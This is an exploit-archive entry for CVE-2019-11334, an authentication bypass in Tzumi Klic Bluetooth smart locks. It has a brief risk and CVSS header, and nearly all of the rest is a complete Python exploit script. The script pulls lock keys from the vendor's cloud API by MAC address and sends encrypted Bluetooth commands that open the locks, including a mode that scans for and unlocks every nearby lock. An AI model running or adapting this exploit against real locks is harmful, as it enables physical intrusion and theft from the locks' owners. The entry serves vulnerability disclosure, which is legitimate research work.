Tzumi Electronics Klic Lock Authentication Bypass

2019.06.15
Risk: High
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# CVE-2019-11334 # MIT License # Copyright (c) 2019 Kerry Enfinger # Python program to unlock any Tzumi Klic smart locks Model 5686 Firmware 6.2 # May work on other smart locks # Requires valid account email and password from Klic mobile application import argparse import requests import json from subprocess import call from bluepy.btle import Scanner from bluepy.btle import Peripheral from bluepy.btle import DefaultDelegate from bluepy.btle import UUID from Crypto.Cipher import AES NOTIFICATION = "" class KlicDelegate(DefaultDelegate): def __init__(self, key): DefaultDelegate.__init__(self) self.aes_key = key def decrypt(self, payload): aes = AES.new(self.aes_key, AES.MODE_ECB) decrypted = aes.decrypt(payload) return decrypted.encode('hex') def handleNotification(self, handle, data): global NOTIFICATION NOTIFICATION = self.decrypt(data) class Klic: def __init__(self): self.lockKey="" self.mac = "" self.lockPwd = "000000" self.aes_key = "" self.token = "" self.userId = "" self.url = "http://app.nokelock.com:8080/" self.ext_get_token = "/newNokelock/user/loginByPassword" self.ext_get_lock_list = "/newNokelock/lock/getLockList" self.ext_query_device = "/newNokelock/lock/queryDevice" self.headers = {'token': 'None', 'clientType': 'Android', 'language': 'en-US', 'phoneModel': 'Nexus 5', 'osVersion': '7.1.2', 'appVersion': '1.0.9', 'Content-Type': 'application/json;charset=UTF-8', 'User-Agent': 'okhttp/3.11.0'} def set_aes_key(self, lockKey): hexkey = [lockKey[i:i+2] for i in range(0, len(lockKey), 2)] hexkey = [int(i) for i in hexkey] hexkey = ["{:02x}".format(x) for x in hexkey] hexkey = ''.join(hexkey) self.aes_key = str(bytearray.fromhex(hexkey)) def parse_lock_key(self, lock_key): temp_key = lock_key.encode("utf-8") temp_key = [x.strip() for x in temp_key.split(',')] new_key = "" for i in temp_key: new_key = new_key + i.zfill(2) return new_key def get_token(self, account_str, password_str): data = {'account': account_str, 'code': password_str, 'type': '0'} response = requests.post(self.url + self.ext_get_token, data=json.dumps(data), headers=self.headers) json_resp = response.json() result = json_resp['result'] return result['token'], result['userId'] def get_lock_keys(self, account_str, password_str): self.token, self.userId = self.get_token(account_str, password_str) data = {'userId': self.userId} self.headers['token'] = self.token response = requests.post(self.url + self.ext_get_lock_list, data=json.dumps(data), headers=self.headers) json_resp = response.json() result = json_resp['result'] lock_key = result[0]['lockKey'] self.lockKey = self.parse_lock_key(lock_key) self.lockPwd = result[0]['lockPwd'] self.mac = result[0]['mac'] def get_lock_keys_by_mac(self, account_str, password_str, mac_addr): self.token, self.userId = self.get_token(account_str, password_str) data = {'mac': mac_addr} self.headers['token'] = self.token response = requests.post(self.url + self.ext_query_device, data=json.dumps(data), headers=self.headers) json_resp = response.json() result = json_resp['result'] lock_key = result['lockKey'] self.lockKey = self.parse_lock_key(lock_key) self.lockPwd = result['lockPwd'] self.mac = result['mac'] print(self.lockKey) print(self.lockPwd) print(self.mac) def scan(self, timeout=5): scanner = Scanner() sec = timeout dev_list = [] print("Scanning for %s seconds" % sec) devs = scanner.scan(sec) for dev in devs: localname = dev.getValueText(9) if localname and localname.startswith("BS01"): print("Device found:") dev_list.append(dev.addr) print(" %s (%s), rssi=%d" % (dev.addr, localname, dev.rssi)) return dev_list def encrypt(self, payload): while len(payload) < 16: payload += "\x00" aes = AES.new(self.aes_key, AES.MODE_ECB) return aes.encrypt(payload) def unlock_with_key(self, lock_key, mac_addr): self.lockKey = lock_key self.mac = mac_addr self.unlockKlic() def unlock_with_account(self, account, password): self.get_lock_keys(account, password) self.unlockKlic() def unlock_with_mac(self, account, password, mac): self.get_lock_keys_by_mac(account, password, mac) self.unlockKlic() def unlockKlic(self): print("lockKey: " + self.lockKey) print("lockPwd: " + self.lockPwd) print("mac: " + self.mac) print("") # Convert lockKey to hex self.set_aes_key(self.lockKey) # Connect to klic lock klic = Peripheral(self.mac, "public") klic.setDelegate(KlicDelegate(self.aes_key)) # Setup to turn notifications on setup_data = b"\x01\x00" notify = klic.getCharacteristics( uuid='000036f5-0000-1000-8000-00805f9b34fb' )[0] notify_handle = notify.getHandle() + 1 klic.writeCharacteristic(notify_handle, setup_data, withResponse=True) # Send get token packet c = klic.getCharacteristics( uuid='000036f5-0000-1000-8000-00805f9b34fb' )[0] payload = self.encrypt("\x06\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") c.write(payload) print("Sent get token packet!") # Waiting for notification while True: if klic.waitForNotifications(1.0): # handleNotification() was called print("Got Notification: " + NOTIFICATION) hexkey = [NOTIFICATION[i:i+2] for i in range(0, len(NOTIFICATION), 2)] if hexkey[0] == '06' and hexkey[1] == '02': break continue print("") # Send get battery packet c = klic.getCharacteristics( uuid='000036f5-0000-1000-8000-00805f9b34fb' )[0] payload = self.encrypt("\x02\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") c.write(payload) print("Sent get battery packet!") # Waiting for notification while True: if klic.waitForNotifications(1.0): # handleNotification() was called print("Got Notification: " + NOTIFICATION) hexkey = [NOTIFICATION[i:i+2] for i in range(0, len(NOTIFICATION), 2)] if hexkey[0] == '02' and hexkey[1] == '02': break continue print("") # Send open lock packet c = klic.getCharacteristics( uuid='000036f5-0000-1000-8000-00805f9b34fb' )[0] payload = self.encrypt("\x05\x01\x06\x30\x30\x30\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00") c.write(payload) print("Sent open lock packet!") while True: if klic.waitForNotifications(1.0): # handleNotification() was called print("Got Notification: " + NOTIFICATION + "\n") break print("Lock should be unlocked!\n\n") if __name__ == "__main__": print('[*] KlicUnlock v1.0.0') print('[*] Author: Kerry Enfinger\n') print('[*] CVE-2019-11334\n') parser = argparse.ArgumentParser(description='Klic Lock unlocking program.') parser.add_argument('-a', '--account', help='email address used when signing into app', type=str) parser.add_argument('-p', '--password', help='password used when signing into app', type=str) parser.add_argument('-k', '--key', help='key for lock (if known)', type=str) parser.add_argument('-m', '--mac', help='mac address for lock (if known)', type=str) parser.add_argument('-s', '--scan', help='scan for all nearby Klic locks', action='store_true') parser.add_argument('-u', '--unlock_all', help='scan for and unlock all nearby Klic locks', action='store_true') args = parser.parse_args() # Bring up bluetooth adapter and service - hci# may need to be changed for your individual needs call(["hciconfig", "hci0", "up"]) call(["service", "bluetooth", "start"]) if args.account and args.password and args.unlock_all is False: k = Klic() k.unlock_with_account(args.account, args.password) elif args.account and args.password and args.unlock_all is True: k = Klic() lock_list = k.scan() for lock in lock_list: print(args.account) print(args.password) print(lock.upper()) k.unlock_with_mac(args.account, args.password, lock.upper()) elif args.key and args.mac: k = Klic() k.unlock_with_key(args.key, args.mac) elif args.scan: k = Klic() k.scan() else: print('You need to input account/password or key/mac combination') print('[*] Examples:') print('[*] python KlicUnlock.py -a myaccount@example.com -p mypassword') print('[*] python KlicUnlock.py -a myaccount@example.com -p mypassword -u') print('[*] python KlicUnlock.py -k 99999999999999999999999999999999 -m 01:02:03:04:05:06')


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